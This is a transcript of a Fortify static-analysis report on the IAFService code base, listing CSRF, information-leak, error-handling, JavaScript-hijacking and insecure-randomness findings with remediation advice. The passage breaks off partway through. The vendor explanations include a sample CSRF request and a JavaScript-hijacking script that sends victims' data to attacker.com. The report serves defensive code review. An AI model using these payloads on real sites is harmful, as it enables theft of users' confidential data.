iafservice report new2

37
Fortify Developer Workbook Apr 12, 2012 yt8885

Upload: goodmale5

Post on 26-Oct-2014

136 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: IAFService Report New2

Fortify Developer WorkbookApr 12, 2012

yt8885

Page 2: IAFService Report New2

On Apr 12, 2012, a source code review was performed over the IAFService code base. 63 files, 2640 lines of code were scanned.

A total of 48 issues were uncovered during the analysis. This report provides a comprehensive description of all the types of

issues found in this project. Specific examples and source code are provided for each issue type.

Report OverviewReport Summary

Issues by Fortify Priority Order

Low 26Medium 22

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 2 of 37

Page 3: IAFService Report New2

The scan found 48 issues.

Issue SummaryOverall number of results

Issues by Category

Cross-Site Request Forgery 9System Information Leak 9Poor Error Handling: Overly Broad Catch 6JavaScript Hijacking: Ad Hoc Ajax 5Insecure Randomness 4Log Forging 3Password Management: Hardcoded Password 3Missing Check against Null 2System Information Leak: Missing Catch Block 2J2EE Misconfiguration: Excessive Session Timeout 1J2EE Misconfiguration: Missing Error Handling 1JavaScript Hijacking: Vulnerable Framework 1Password Management: Password in Comment 1Unreleased Resource: Streams 1

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 3 of 37

Page 4: IAFService Report New2

Results OutlineVulnerabilty Examples by Category

Category: Cross-Site Request Forgery (9 Issues)

0 1 2 3 4 5 6 7 8 9

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:HTTP requests must contain a user-specific secret in order to prevent an attacker from making unauthorized requests.

Explanation:

A cross-site request forgery (CSRF) vulnerability occurs when:

1. A Web application uses session cookies.

2. The application acts on an HTTP request without verifying that the request was made with the user's consent.

If the request does not contain a nonce that proves its provenance, the code that handles the request is vulnerable to a CSRFattack (unless it does not change the state of the application.) This means a Web application that uses session cookies has to takespecial precautions in order to ensure that an attacker can't trick users into submitting bogus requests. Imagine a Web applicationthat allows administrators to create new accounts as follows:

var req = new XMLHttpRequest();

req.open("POST", "/new_user", true);

body = addToPost(body, new_username);

body = addToPost(body, new_passwd);

req.send(body);

An attacker might set up a malicious Web site that contains the following code.

var req = new XMLHttpRequest();

req.open("POST", "http://www.example.com/new_user", true);

body = addToPost(body, "attacker");

body = addToPost(body, "haha");

req.send(body);

If an administrator for the vulnerable site visits a page containing this code while she has an active session, she will unwittinglycreate an account for the attacker. This is a CSRF attack. It is possible because the application does not have a way to determinethe provenance of the request. Any request could be a legitimate action chosen by the user or a faked action set up by anattacker. The attacker does not get to see the Web page that the bogus request generates, so the attack technique is only useful forrequests that alter the state of the application.

Most Web browsers send an HTTP header named referer along with each request. The referer header is supposed to contain theURL of the referring page, but attackers can forge it, so the referer header is not useful for determining the provenance of arequest.

Applications that pass the session identifier on the URL rather than as a cookie do not have CSRF problems because there is noway for the attacker to access the session identifier and include it as part of the bogus request.

CSRF is entry number five on the 2007 OWASP Top 10 list.

Recommendations:

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 4 of 37

Page 5: IAFService Report New2

Applications that use session cookies must include some piece of information in every form post that the back-end code can useto validate the provenance of the request. One way to do that is to include a random request identifier, like this:

var req = new XMLHttpRequest();

req.open("POST", "/new_user", true);

body = addToPost(body, new_username);

body = addToPost(body, new_passwd);

body = addToPost(body, request_id);

req.send(body);

Then the back-end logic can validate the request identifier before processing the rest of the form data. The request identifier canbe unique to each server request or can be shared across every request for a particular session. As with session identifiers, theharder it is for an attacker to guess the request identifier, the harder it is to conduct a successful CSRF attack.

Tips:SCA flags all HTML forms and all XMLHttpRequest objects that might perform a POST operation. The auditor must determineif each form could be valuable to an attacker as a CSRF target and whether or not an appropriate mitigation technique is in place.

FileManagement.js, line 211 (Cross-Site Request Forgery)

Folder: InfoKingdom: EncapsulationAbstract: The HTTP request at FileManagement.js line 211 must contain a user-specific secret in

order to prevent an attacker from making unauthorized requests.Sink: FileManagement.js:211 FunctionPointerCall()209 var xmlhttp = getIEHTTPObject();

210 logMessage( functionName, "Invoking Http GET Operation on Url=" + url + "..." );

211 xmlhttp.open( "GET", url, true );

212 xmlhttp.onreadystatechange = function()

213 {

ClientSideTree.js, line 115 (Cross-Site Request Forgery)

Folder: InfoKingdom: EncapsulationAbstract: The HTTP request at ClientSideTree.js line 115 must contain a user-specific secret in order

to prevent an attacker from making unauthorized requests.Sink: ClientSideTree.js:115 FunctionPointerCall()113 var url = startUrl + "&eventName=Expand";

114 var xmlhttp = getHTTPObject();

115 xmlhttp.open("GET", url, true);

116 xmlhttp.onreadystatechange = function()

117 {

TestClient.jsp, line 16 (Cross-Site Request Forgery)

Folder: InfoKingdom: EncapsulationAbstract: Form posts must contain a user-specific secret in order to prevent an attacker from making

unauthorized requests.Sink: TestClient.jsp:1614 <tr>

15 <td>

16 <form action="TestGetEFormsList.jsp" method="post">

17 <table border="0" width="50%">

18 <tr>

ClientSideTree.js, line 105 (Cross-Site Request Forgery)

Folder: InfoKingdom: EncapsulationAbstract: The HTTP request at ClientSideTree.js line 105 must contain a user-specific secret in order

to prevent an attacker from making unauthorized requests.

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 5 of 37

Page 6: IAFService Report New2

Sink: ClientSideTree.js:105 FunctionPointerCall()103 var url = startUrl + "&eventName=Collapse";

104 var xmlhttp = getHTTPObject();

105 xmlhttp.open("GET", url, true);

106 xmlhttp.send(null);

107 window.status = "";

ClientSideTree.js, line 71 (Cross-Site Request Forgery)

Folder: InfoKingdom: EncapsulationAbstract: The HTTP request at ClientSideTree.js line 71 must contain a user-specific secret in order

to prevent an attacker from making unauthorized requests.Sink: ClientSideTree.js:71 FunctionPointerCall()69

70 var xmlhttp = getHTTPObject();

71 xmlhttp.open("GET", url, true);

72 xmlhttp.onreadystatechange = function()

73 {

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 6 of 37

Page 7: IAFService Report New2

Category: System Information Leak (9 Issues)

0 1 2 3 4 5 6 7 8 9

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:Revealing system data or debugging information helps an adversary learn about the system and form a plan of attack.

Explanation:

An information leak occurs when system data or debugging information leaves the program through an output stream or loggingfunction.

Example: The following code prints an exception to the standard error stream:

try {

...

} catch (Exception e) {

e.printStackTrace();

}

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to aremote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. Forexample, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messagescan reveal more oblique clues about the system. In the example above, the search path could imply information about the type ofoperating system, the applications installed on the system, and the amount of care that the administrators have put intoconfiguring the program.

Recommendations:Write error messages with security in mind. In production environments, turn off detailed error information in favor of briefmessages. Restrict the generation and storage of detailed output that can help administrators and programmers diagnoseproblems. Be careful, debugging traces can sometimes appear in non-obvious places (embedded in comments in the HTML foran error page, for example).

Even brief error messages that do not reveal stack traces or database dumps can potentially aid an attacker. For example, an"Access Denied" message can reveal that a file or user exists on the system.

Tips:Do not rely on wrapper scripts, corporate IT policy, or quick-thinking system administrators to prevent system information leaks.Write software that is secure on its own.

This category of vulnerability does not apply to all types of programs. For example, if your application executes on a clientmachine where system information is already available to an attacker, or if you print system information only to a trusted log file,you can use AuditGuide to filter out this category.

Foritfy RTA adds protection against this category.

Config.java, line 27 (System Information Leak)

Folder: WarningKingdom: EncapsulationAbstract: The function Config() in Config.java might reveal system data or debugging information

by calling error() on line 27. The information revealed by error() could help an adversaryform a plan of attack.

Source: Config.java:28 java.lang.Throwable.getMessage()26 catch(IOException e) {

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 7 of 37

Page 8: IAFService Report New2

27 logger.error("Configuration (" + PROP_FILE + ") failed: "

28 + e.getMessage());

29 }

30 catch (Exception e) {

Sink: Config.java:27 org.apache.log4j.Category.error()25 }

26 catch(IOException e) {

27 logger.error("Configuration (" + PROP_FILE + ") failed: "

28 + e.getMessage());

29 }

Config.java, line 38 (System Information Leak)

Folder: WarningKingdom: EncapsulationAbstract: The function Config() in Config.java might reveal system data or debugging information

by calling error() on line 38. The information revealed by error() could help an adversaryform a plan of attack.

Source: Config.java:38 java.lang.Throwable.getMessage()36 is.close();

37 } catch (IOException e){

38 logger.error("file input stream close failed: " + e.getMessage());

39 } catch (Exception e) {

40 logger.error("InputStream close failed: " + e.getMessage());

Sink: Config.java:38 org.apache.log4j.Category.error()36 is.close();

37 } catch (IOException e){

38 logger.error("file input stream close failed: " + e.getMessage());

39 } catch (Exception e) {

40 logger.error("InputStream close failed: " + e.getMessage());

CallbackServlet.java, line 89 (System Information Leak)

Folder: WarningKingdom: EncapsulationAbstract: The function handleRequest() in CallbackServlet.java might reveal system data or

debugging information by calling debug() on line 89. The information revealed by debug()could help an adversary form a plan of attack.

Source: CallbackServlet.java:87 javax.servlet.ServletContext.getRealPath()85 .getSession("HelloEForms2", Session.DEFAULT, iafConfig

86 .getSysUserName(), iafConfig.getSysPassWord());

87 String wcmApiConfigPath = getServletContext().getRealPath(

88 "/WEB-INF/WcmApiConfig.properties");

89 log.debug("CallbackServlet: Reading (" + wcmApiConfigPath + ")...");

Sink: CallbackServlet.java:89 org.apache.log4j.Category.debug()87 String wcmApiConfigPath = getServletContext().getRealPath(

88 "/WEB-INF/WcmApiConfig.properties");

89 log.debug("CallbackServlet: Reading (" + wcmApiConfigPath + ")...");

90

91 fis = new FileInputStream(wcmApiConfigPath);

CallbackServlet.java, line 113 (System Information Leak)

Folder: WarningKingdom: EncapsulationAbstract: The function handleRequest() in CallbackServlet.java might reveal system data or

debugging information by calling error() on line 113. The information revealed by error()could help an adversary form a plan of attack.

Source: CallbackServlet.java:113 java.lang.Throwable.getMessage()111 log.debug("CallbackServlet: << HtmlFormRenderer.handleCallback().");

112 } catch (FileNotFoundException e) {

113 log.error("CallbackServlet error: file not found " + e.getMessage());

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 8 of 37

Page 9: IAFService Report New2

114 } catch (Throwable t) {

115 log.error("CallbackServlet error: " + t.getMessage());

Sink: CallbackServlet.java:113 org.apache.log4j.Category.error()111 log.debug("CallbackServlet: << HtmlFormRenderer.handleCallback().");

112 } catch (FileNotFoundException e) {

113 log.error("CallbackServlet error: file not found " + e.getMessage());

114 } catch (Throwable t) {

115 log.error("CallbackServlet error: " + t.getMessage());

CallbackServlet.java, line 121 (System Information Leak)

Folder: WarningKingdom: EncapsulationAbstract: The function handleRequest() in CallbackServlet.java might reveal system data or

debugging information by calling error() on line 121. The information revealed by error()could help an adversary form a plan of attack.

Source: CallbackServlet.java:121 java.lang.Throwable.getMessage()119 fis.close();

120 } catch (IOException e){

121 log.error("file input stream close failed: " + e.getMessage());

122 }

123 catch (Exception e) {

Sink: CallbackServlet.java:121 org.apache.log4j.Category.error()119 fis.close();

120 } catch (IOException e){

121 log.error("file input stream close failed: " + e.getMessage());

122 }

123 catch (Exception e) {

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 9 of 37

Page 10: IAFService Report New2

Category: Poor Error Handling: Overly Broad Catch (6 Issues)

0.0 0.5 1.0 1.5 2.0 2.5 3.0 3.5 4.0 4.5 5.0 5.5 6.0

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:The catch block handles a broad swath of exceptions, potentially trapping dissimilar issues or problems that should not be dealtwith at this point in the program.

Explanation:

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exceptioncan obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching anoverly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if theprogram grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

Example: The following code excerpt handles three types of exceptions in an identical fashion.

try {

doExchange();

}

catch (IOException e) {

logger.error("doExchange failed", e);

}

catch (InvocationTargetException e) {

logger.error("doExchange failed", e);

}

catch (SQLException e) {

logger.error("doExchange failed", e);

}

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

try {

doExchange();

}

catch (Exception e) {

logger.error("doExchange failed", e);

}

However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way,the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handleexceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not theprogrammer's intent.

Recommendations:Do not catch broad exception classes like Exception, Throwable, Error, or <RuntimeException> except at the very top level ofthe program or thread.

Tips:Fortify will not flag an overly broad catch block if the catch block in question immediately throws a new exception.

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 10 of 37

Page 11: IAFService Report New2

CallbackServlet.java, line 114 (Poor Error Handling: Overly Broad Catch)

Folder: InfoKingdom: ErrorsAbstract: The catch block at CallbackServlet.java line 114 handles a broad swath of exceptions,

potentially trapping dissimilar issues or problems that should not be dealt with at this pointin the program.

Sink: CallbackServlet.java:114 CatchBlock()112 } catch (FileNotFoundException e) {

113 log.error("CallbackServlet error: file not found " + e.getMessage());

114 } catch (Throwable t) {

115 log.error("CallbackServlet error: " + t.getMessage());

116 } finally {

CallbackServlet.java, line 96 (Poor Error Handling: Overly Broad Catch)

Folder: InfoKingdom: ErrorsAbstract: The catch block at CallbackServlet.java line 96 handles a broad swath of exceptions,

potentially trapping dissimilar issues or problems that should not be dealt with at this pointin the program.

Sink: CallbackServlet.java:96 CatchBlock()94 try {

95 ceSession.verify();

96 } catch (Throwable t) {

97 log.error("CE connect error: " + t.getMessage());

98

CallbackServlet.java, line 123 (Poor Error Handling: Overly Broad Catch)

Folder: InfoKingdom: ErrorsAbstract: The catch block at CallbackServlet.java line 123 handles a broad swath of exceptions,

potentially trapping dissimilar issues or problems that should not be dealt with at this pointin the program.

Sink: CallbackServlet.java:123 CatchBlock()121 log.error("file input stream close failed: " + e.getMessage());

122 }

123 catch (Exception e) {

124 log.error("file input stream close failed: " + e.getMessage());

125 }

Config.java, line 39 (Poor Error Handling: Overly Broad Catch)

Folder: InfoKingdom: ErrorsAbstract: The catch block at Config.java line 39 handles a broad swath of exceptions, potentially

trapping dissimilar issues or problems that should not be dealt with at this point in theprogram.

Sink: Config.java:39 CatchBlock()37 } catch (IOException e){

38 logger.error("file input stream close failed: " + e.getMessage());

39 } catch (Exception e) {

40 logger.error("InputStream close failed: " + e.getMessage());

41 }

Config.java, line 30 (Poor Error Handling: Overly Broad Catch)

Folder: InfoKingdom: Errors

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 11 of 37

Page 12: IAFService Report New2

Abstract: The catch block at Config.java line 30 handles a broad swath of exceptions, potentiallytrapping dissimilar issues or problems that should not be dealt with at this point in theprogram.

Sink: Config.java:30 CatchBlock()28 + e.getMessage());

29 }

30 catch (Exception e) {

31 logger.error("Configuration (" + PROP_FILE + ") failed: "

32 + e.getMessage());

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 12 of 37

Page 13: IAFService Report New2

Category: JavaScript Hijacking: Ad Hoc Ajax (5 Issues)

0.0 0.5 1.0 1.5 2.0 2.5 3.0 3.5 4.0 4.5 5.0

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows anunauthorized attacker to read confidential data from a vulnerable application.

Explanation:

An application may be vulnerable to JavaScript hijacking [1] if it:

- Uses JavaScript as a data transfer format

- Handles confidential data

Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, Fortify calls attention to potentialJavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policyrequires that, in order for JavaScript to access the contents of a Web page, both the JavaScript and the Web page must originatefrom the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitiveinformation from other websites using a client's credentials, culls through it, and communicates it back to the attacker.

JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a Web application uses JavaScript tocommunicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website tobe included and executed in the context of any other website. Even though a malicious site cannot directly examine any dataloaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows itto witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications useJavaScript as a data transport mechanism, they are often vulnerable while traditional Web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFCdefines JSON syntax to be a subset of JavaScript object literal syntax . JSON is based on two types of data structures: arrays andobjects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable toJavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a validJavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an applicationneeds to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSONobject is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server componentsof a Web application that is used to manage sales leads. It goes on to show how an attacker can mimic the client and gain accessto the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstreambrowsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

if (req.readyState == 4) {

var txt = req.responseText;

object = eval("(" + txt + ")");

req = null;

}

};

req.send(null);

When the code runs, it generates an HTTP request that looks like this:

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 13 of 37

Page 14: IAFService Report New2

GET /object.json HTTP/1.1

...

Host: www.example.com

Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.)

The server responds with an array in JSON format:

HTTP/1.1 200 OK

Cache-control: private

Content-Type: text/JavaScript; charset=utf-8

...

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

"purchases":60000.00, "email":"[email protected]" },

{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",

"purchases":120000.00, "email":"[email protected]" },

{"fname":"Jacob", "lname":"West", "phone":"6502135600",

"purchases":45000.00, "email":"[email protected]" }]

In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannotaccess this information without knowing the user's session identifier. (In most modern Web applications, the session identifier isstored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information usingJavaScript hijacking.

If a victim can be tricked into visiting a Web page that contains the following malicious code, the victim's lead information willbe sent to the attacker's Web site.

<script>

// override the constructor used to create all objects so

// that whenever the "email" field is set, the method

// captureObject() will run. Since "email" is the final field,

// this will allow us to steal the whole object.

function Object() {

this.email setter = captureObject;

}

// Send the captured object back to the attacker's Web site

function captureObject(x) {

var objString = "";

for (fld in this) {

objString += fld + ": " + this[fld] + ", ";

}

objString += "email: " + x;

var req = new XMLHttpRequest();

req.open("GET", "http://attacker.com?obj=" +

escape(objString),true);

req.send(null);

}

</script>

<!-- Use a script tag to bring in victim's data -->

<script src="http://www.example.com/object.json"></script>

The malicious code uses a script tag to include the JSON object in the current page. The Web browser will send up theappropriate session cookie with the request. In other words, this request will be handled just as though it had originated from thelegitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness theevaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, themalicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contentsback to the malicious site. Other attacks might override the default constructor for arrays instead.

Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message.The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScripthijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it canbe secure, but it cannot be both.

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 14 of 37

Page 15: IAFService Report New2

If the user is not logged into the vulnerable site, the attacker can compensate by asking the user to log in and then displaying thelegitimate login page for the application. This is not a phishing attack -- the attacker does not gain access to the user's credentials-- so anti-phishing countermeasures will not be able to defeat the attack.

More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags.This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one ofthe applications involved is malicious.

Recommendations:All programs that communicate using JavaScript should take the following defensive measures:

- Decline malicious requests: Include a hard-to-guess identifier, such as the session identifier, as part of each request that willreturn JavaScript. This defeats cross-site request forgery attacks by allowing the server to validate the origin of the request.

- Prevent direct execution of the JavaScript response: Include characters in the response that prevent it from being successfullyhanded off to a JavaScript interpreter without modification. This prevents an attacker from using a <script> tag to witness theexecution of the JavaScript.

The best way to defend against JavaScript hijacking is to do adopt both defensive tactics.

Declining Malicious Requests

From the server's perspective, a JavaScript hijacking attack looks like an attempt at cross-site request forgery, and defensesagainst cross-site request forgery will also defeat JavaScript hijacking attacks.

In order to make it easy to detect malicious requests, every request should include a parameter that is hard for an attacker toguess. One approach is to add the session cookie to the request as a parameter. When the server receives such a request, it cancheck to be certain the session cookie matches the value in the request parameter. Malicious code does not have access to thesession cookie (cookies are also subject to the Same Origin Policy), so there is no easy way for the attacker to craft a request thatwill pass this test. A different secret can also be used in place of the session cookie. As long as the secret is hard to guess andappears in a context that is accessible to the legitimate application and not accessible from a different domain, it will prevent anattacker from making a valid request.

Some frameworks run only on the client side. In other words, they are written entirely in JavaScript and have no knowledgeabout the workings of the server. This implies that they do not know the name of the session cookie. Even without knowing thename of the session cookie, they can participate in a cookie-based defense by adding all of the cookies to each request to theserver.

Example 2: The following JavaScript fragment outlines this "blind client" strategy:

var httpRequest = new XMLHttpRequest();

...

var cookies="cookies="+escape(document.cookie);

http_request.open('POST', url, true);

httpRequest.send(cookies);

The server could also check the HTTP referer header in order to make sure the request has originated from the legitimateapplication and not from a malicious application. Historically speaking, the referer header has not been reliable, so we do notrecommend using it as the basis for any security mechanisms.

A server can mount a defense against JavaScript hijacking by responding to only HTTP POST requests and not responding toHTTP GET requests. This is a defensive technique because the <script> tag always uses GET to load JavaScript from externalsources. This defense is also error-prone. The use of GET for better performance is encouraged by Web application experts. Themissing connection between the choice of HTTP methods and security means that, at some point, a programmer may mistake thislack of functionality for an oversight rather than a security precaution and modify the application to respond to GET requests.

Preventing Direct Execution of the Response

In order to make it impossible for a malicious site to execute a response that includes JavaScript, the legitimate client applicationcan take advantage of the fact that it is allowed to modify the data it receives before executing it, while a malicious applicationcan only execute it using a <script> tag. When the server serializes an object, it should include a prefix (and potentially a suffix)that makes it impossible to execute the JavaScript using a <script> tag. The legitimate client application can remove thisextraneous data before running the JavaScript.

Example 3: There are many possible implementations of this approach. The following example demonstrates two.

First, the server could prefix each message with the statement:

while(1);

Unless the client removes this prefix, evaluating the message will send the JavaScript interpreter into an infinite loop. The clientsearches for and removes the prefix like this:

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

if (req.readyState == 4) {

var txt = req.responseText;

if (txt.substr(0,9) == "while(1);") {

txt = txt.substring(10);

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 15 of 37

Page 16: IAFService Report New2

}

object = eval("(" + txt + ")");

req = null;

}

};

req.send(null);

Second, the server can include comment characters around the JavaScript that have to be removed before the JavaScript is sent toeval(). The following JSON object has been enclosed in a block comment:

/*

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

"purchases":60000.00, "email":"[email protected]" }

]

*/

The client can search for and remove the comment characters like this:

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

if (req.readyState == 4) {

var txt = req.responseText;

if (txt.substr(0,2) == "/*") {

txt = txt.substring(2, txt.length - 2);

}

object = eval("(" + txt + ")");

req = null;

}

};

req.send(null);

Any malicious site that retrieves the sensitive JavaScript via a <script> tag will not gain access to the data it contains.

eforms-core.js, line 3463 (JavaScript Hijacking: Ad Hoc Ajax)

Folder: InfoKingdom: EncapsulationAbstract: Applications that use JavaScript notation to transport sensitive data can be vulnerable to

JavaScript hijacking, which allows an unauthorized attacker to read confidential data froma vulnerable application.

Source: eforms-core.js:3463 Read ~localScope.request.responseText()3461 return request.responseText;if(contentType=="text/xml")

3462 return request.responseXML;if(contentType=="text/x-eforms-script-javascript"||contentType=="text/x-informed-script-javascript")

3463 returnrequest.responseText&&request.responseText.length>0?eval(request.responseText):null;thrownewFormException($FET.HE,$.$String.invalidAjaxContentType,null,request.responseText,"599HII");}

3464 $.$HttpRequest.prototype.$buildUrl=function()

3465 {var url=this.url;if(this.templateUriIncluded)

Sink: eforms-core.js:3463 eval(2)()3461 return request.responseText;if(contentType=="text/xml")

3462 return request.responseXML;if(contentType=="text/x-eforms-script-javascript"||contentType=="text/x-informed-script-javascript")

3463 returnrequest.responseText&&request.responseText.length>0?eval(request.responseText):null;thrownewFormException($FET.HE,$.$String.invalidAjaxContentType,null,request.responseText,"599HII");}

3464 $.$HttpRequest.prototype.$buildUrl=function()

3465 {var url=this.url;if(this.templateUriIncluded)

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 16 of 37

Page 17: IAFService Report New2

ClientSideTree.js, line 71 (JavaScript Hijacking: Ad Hoc Ajax)

Folder: InfoKingdom: EncapsulationAbstract: Applications that use JavaScript notation to transport sensitive data can be vulnerable to

JavaScript hijacking, which allows an unauthorized attacker to read confidential data froma vulnerable application.

Sink: ClientSideTree.js:71 FunctionPointerCall()69

70 var xmlhttp = getHTTPObject();

71 xmlhttp.open("GET", url, true);

72 xmlhttp.onreadystatechange = function()

73 {

ClientSideTree.js, line 105 (JavaScript Hijacking: Ad Hoc Ajax)

Folder: InfoKingdom: EncapsulationAbstract: Applications that use JavaScript notation to transport sensitive data can be vulnerable to

JavaScript hijacking, which allows an unauthorized attacker to read confidential data froma vulnerable application.

Sink: ClientSideTree.js:105 FunctionPointerCall()103 var url = startUrl + "&eventName=Collapse";

104 var xmlhttp = getHTTPObject();

105 xmlhttp.open("GET", url, true);

106 xmlhttp.send(null);

107 window.status = "";

FileManagement.js, line 211 (JavaScript Hijacking: Ad Hoc Ajax)

Folder: InfoKingdom: EncapsulationAbstract: Applications that use JavaScript notation to transport sensitive data can be vulnerable to

JavaScript hijacking, which allows an unauthorized attacker to read confidential data froma vulnerable application.

Sink: FileManagement.js:211 FunctionPointerCall()209 var xmlhttp = getIEHTTPObject();

210 logMessage( functionName, "Invoking Http GET Operation on Url=" + url + "..." );

211 xmlhttp.open( "GET", url, true );

212 xmlhttp.onreadystatechange = function()

213 {

ClientSideTree.js, line 115 (JavaScript Hijacking: Ad Hoc Ajax)

Folder: InfoKingdom: EncapsulationAbstract: Applications that use JavaScript notation to transport sensitive data can be vulnerable to

JavaScript hijacking, which allows an unauthorized attacker to read confidential data froma vulnerable application.

Sink: ClientSideTree.js:115 FunctionPointerCall()113 var url = startUrl + "&eventName=Expand";

114 var xmlhttp = getHTTPObject();

115 xmlhttp.open("GET", url, true);

116 xmlhttp.onreadystatechange = function()

117 {

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 17 of 37

Page 18: IAFService Report New2

Category: Insecure Randomness (4 Issues)

0.0 0.5 1.0 1.5 2.0 2.5 3.0 3.5 4.0

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:Standard pseudo-random number generators cannot withstand cryptographic attacks.

Explanation:

Insecure randomness errors occur when a function that can produce predictable values is used as a source of randomness insecurity-sensitive context.

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators(PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated.

There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but theiroutput is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where securitydepends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is moredifficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker todistinguish between it and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographicallysecure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

Example: The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of timeafter a purchase.

...

function genReceiptURL (baseURL){

var randNum = Math.random();

var receiptURL = baseURL + randNum + ".html";

return receiptURL;

}

...

This code uses the Math.random() function to generate "unique" identifiers for the receipt pages it generates. BecauseMath.random() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design ofthe receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictablereceipt identifiers, such as a cryptographic PRNG.

Recommendations:When unpredictability is critical, as is the case with most security-sensitive uses of randomness, use a cryptographic PRNG.Regardless of the PRNG you choose, always use a value with sufficient entropy to seed the algorithm. (Values such as thecurrent time offer only negligible entropy and should not be used.)

JavaScript programs can use the window.crypto.random() function in the Mozilla API.

WcmWindowHelper.js, line 27 (Insecure Randomness)

Folder: InfoKingdom: Security FeaturesAbstract: Standard pseudo-random number generators cannot withstand cryptographic attacks.Sink: WcmWindowHelper.js:27 FunctionPointerCall()25 function openWindow(pageURL, title, resizable, scrollbars, width, height)

26 {

27 var num = Math.round(Math.random() * 100000);

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 18 of 37

Page 19: IAFService Report New2

28 if (pageURL.indexOf("?") > 0)

29 pageURL = pageURL + "&_counter=" + num;

PortletUtilities.js, line 62 (Insecure Randomness)

